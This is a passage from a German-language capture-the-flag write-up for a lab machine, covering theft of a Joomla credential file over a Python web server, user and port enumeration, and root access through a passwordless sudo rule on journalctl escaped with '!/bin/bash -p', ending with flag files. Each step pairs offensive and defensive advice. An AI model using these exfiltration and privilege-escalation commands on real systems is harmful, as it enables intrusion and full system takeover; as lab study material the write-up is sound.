Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [07/Jun/2023 23:07:08] "GET /8081.cred HTTP/1.1" 200 -

Analyse: Auf der Angreifer-Maschine wird die Datei `8081.cred` mittels `wget` vom Python-Server heruntergeladen.
Bewertung: Erfolgreiche Exfiltration der Credential-Datei.

┌──(root㉿cyber)-[~]
└─# wget http://192.168.2.127:8000/8081.cred
--2023-06-08 01:07:04--  http://192.168.2.127:8000/8081.cred
Connecting to 192.168.2.127:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69 [application/octet-stream]
Saving to: '8081.cred'

8081.cred               100%[=============================>]      69  --.-KB/s    in 0s

2023-06-08 01:07:04 (180 KB/s) - '8081.cred' saved [69/69]

Analyse: Der Inhalt der heruntergeladenen Datei `8081.cred` wird angezeigt.
Bewertung: Die Datei enthält Zugangsdaten für Joomla: Username: `joomlaCMS_admin`, Password: `_q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR`.
Empfehlung (Offensiv): Diese Zugangsdaten ausprobieren, um sich im Joomla-Backend (Port 8081) anzumelden. Dies könnte weitere Rechte oder Informationen liefern. *Hinweis: Der weitere Bericht folgt diesem Pfad nicht, wahrscheinlich weil der Drupal-Exploit bereits eine Shell gab.*
Empfehlung (Defensiv): Keine Klartext-Credentials speichern.

┌──(root㉿cyber)-[~]
└─# cat 8081.cred
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR

Analyse: Zurück in der `www-data`-Shell werden die Home-Verzeichnisse und Netzwerkverbindungen erneut überprüft.
Bewertung: `ls -la /home/` zeigt die Benutzer `elliot`, `ghost`, `tyrell`. `ss -atlpn` bestätigt die bekannten lauschenden Ports (80, 8081, 53, 22, 5000, 9001) und zusätzlich einen MySQL-Server auf `127.0.0.1:3306`.
Empfehlung (Offensiv): Die Existenz der Benutzer `elliot`, `ghost`, `tyrell` (Mr. Robot Thema) zur Kenntnis nehmen. Prüfen, ob auf die lokale MySQL-Datenbank zugegriffen werden kann (Credentials aus CMS-Konfigurationsdateien?).
Empfehlung (Defensiv): Datenbanken sollten nur lokal lauschen, wenn kein externer Zugriff benötigt wird. Zugriff absichern.

www-data@vuln_cms:/opt$ ls -la /home/
total 20
drwxr-xr-x  5 root   root 4096 May 31  2021 .
drwxr-xr-x 24 root   root 4096 Jun  7 21:20 ..
drwxr-xr-x  4 elliot root 4096 May 31  2021 elliot
drwxr-xr-x  5 ghost  root 4096 Jun  1  2021 ghost
drwxr-xr-x  4 tyrell root 4096 Jun  1  2021 tyrell
www-data@vuln_cms:/home/tyrell$ ss -atlpn
State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port
LISTEN   0         128                 0.0.0.0:80               0.0.0.0:*
LISTEN   0         128                 0.0.0.0:8081             0.0.0.0:*
LISTEN   0         128           127.0.0.53%lo:53               0.0.0.0:*
LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*
LISTEN   0         128                 0.0.0.0:5000             0.0.0.0:*
LISTEN   0         128                 0.0.0.0:9001             0.0.0.0:*
LISTEN   0         80                127.0.0.1:3306             0.0.0.0:*
LISTEN   0         128                    [::]:22                  [::]:*

Privilege Escalation (Journalctl)

Analyse: Der Text springt zur Überprüfung der `sudo`-Rechte für den Benutzer `tyrell`. Es ist unklar, wie der Wechsel von `www-data` zu `tyrell` erfolgte. Möglicherweise wurden die Joomla-Credentials (`joomlaCMS_admin:...?L@N7-pR`) oder andere, nicht gezeigte Informationen verwendet, um Zugriff auf `tyrell` zu erlangen.
Bewertung: `sudo -l` für `tyrell` zeigt, dass dieser Benutzer `/bin/journalctl` als `root` ohne Passwort (`NOPASSWD`) ausführen darf. Dies ist ein bekannter Vektor zur Privilegieneskalation.
Empfehlung (Offensiv): Den `journalctl`-Befehl mit `sudo` ausführen und innerhalb des Pagers (standardmäßig `less`) eine Shell spawnen.
Empfehlung (Defensiv): Benutzern nur die minimal notwendigen `sudo`-Rechte geben. Das Ausführen von Programmen, die eine Shell spawnen können (wie Pager, Editoren), sollte über `sudo` vermieden oder stark eingeschränkt werden (z.B. mit `sudoedit`).

tyrell@vuln_cms:/var/www/html/drupal/misc$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User tyrell may run the following commands on vuln_cms:
    (root) NOPASSWD: /bin/journalctl

Analyse: Der Befehl `sudo -u root journalctl` wird ausgeführt. Innerhalb des Pagers (der die Logs anzeigt) wird dann der Befehl `!/bin/bash -p` eingegeben.
Bewertung: `journalctl` verwendet standardmäßig den Pager `less`. `less` erlaubt das Ausführen externer Befehle durch Eingabe von `!` gefolgt vom Befehl. Durch Ausführen von `!/bin/bash -p` wird eine Bash-Shell gestartet. Da `journalctl` via `sudo` als Root lief, erbt auch die daraus gestartete Shell die Root-Rechte (die `-p` Option hilft, Privilegien beizubehalten). Der Prompt wechselt zu `#`, was die Root-Shell bestätigt.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der `sudo`-Regel für `journalctl` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Die Root-Shell nutzen, um Flags zu lesen und das System zu untersuchen.
Empfehlung (Defensiv): Siehe vorherige Empfehlung zu `sudo`-Rechten für Pager/Editoren.

$ sudo -u root journalctl
-- Logs begin at Fri 2021-05-28 12:16:41 UTC, end at Wed 2023-06-07 23:21:34 UTC
[...] (Log Output)
!/bin/bash -p
#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Journalctl Sudo Abuse)

Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `tyrell` erlaubt, `/bin/journalctl` als Root ohne Passwort auszuführen.
Ziel des POC: Nachweis, dass diese Berechtigung ausgenutzt werden kann, um eine Root-Shell zu erhalten, indem die Pager-Funktionalität von `journalctl` missbraucht wird.
Voraussetzungen: Zugriff als Benutzer `tyrell`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `tyrell` zeigt die Regel `(root) NOPASSWD: /bin/journalctl`.

Schritt 2: Ausnutzen der Pager-Funktion

Analyse: Der Befehl `sudo -u root journalctl` wird ausgeführt. `journalctl` öffnet die Logs in einem Pager, standardmäßig `less`.
Bewertung: Der Pager `less` erlaubt das Ausführen von Shell-Befehlen durch Eingabe von `!` gefolgt vom Befehl. Da `journalctl` (und somit `less`) mit Root-Rechten läuft, wird auch der über `!` ausgeführte Befehl als Root ausgeführt.
Exploit: Innerhalb des `less`-Pagers wird `!/bin/bash -p` eingegeben und ausgeführt.
Ergebnis des POC: Eine interaktive Shell wird gestartet, die aufgrund des `sudo`-Kontexts mit Root-Rechten (`uid=0(root)`) läuft.
Risikobewertung: Hoch. Ermöglicht einem lokalen Benutzer mit dieser spezifischen `sudo`-Regel die vollständige Übernahme des Systems.
Empfehlung (Defensiv): `sudo`-Regeln sehr restriktiv gestalten. Vermeiden, Benutzern die Ausführung von Programmen zu erlauben, die Shell-Escapes ermöglichen (Pager, Editoren, Skript-Interpreter), insbesondere mit `NOPASSWD`. Wenn solche Programme erlaubt werden müssen, sicherstellen, dass sie in einem eingeschränkten Modus laufen (z.B. `sudoedit` statt `sudo vi`, oder Pager mit deaktivierter Escape-Funktion).

Flags

Analyse: In der erlangten Root-Shell wird nach `root.txt` gesucht und diese ausgelesen. Anschließend wird `user.txt` im Home-Verzeichnis von `elliot` (nicht `tyrell` oder `ghost`) gelesen.
Bewertung: Beide Flags werden erfolgreich gefunden und extrahiert.

# cat /home/elliot/user.txt
9046628504775551
# find / | grep root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt
4359537020406305